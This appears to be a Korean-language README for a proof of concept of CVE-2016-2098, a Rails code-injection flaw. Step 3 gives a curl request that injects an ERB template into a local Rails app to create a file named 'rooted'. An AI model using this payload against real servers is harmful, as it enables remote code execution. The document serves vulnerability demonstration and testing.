dh-CVE_2016_2098

Proof of concept for https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q

== 익스플로잇:

1. 악용될 가능성이 없다고 확신하는 방식으로만 rails server를 실행해야 합니다.
2. rails s를 실행하세요.
3. 다음 명령어를 실행하세요. curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' {"id" : { "inline" : "<%= FileUtils.touch \"rooted\"%>"}}' http://localhost:3000/exploits
4. 프로젝트 디렉토리에 "rooted" 파일이 존재하는지 확인하세요.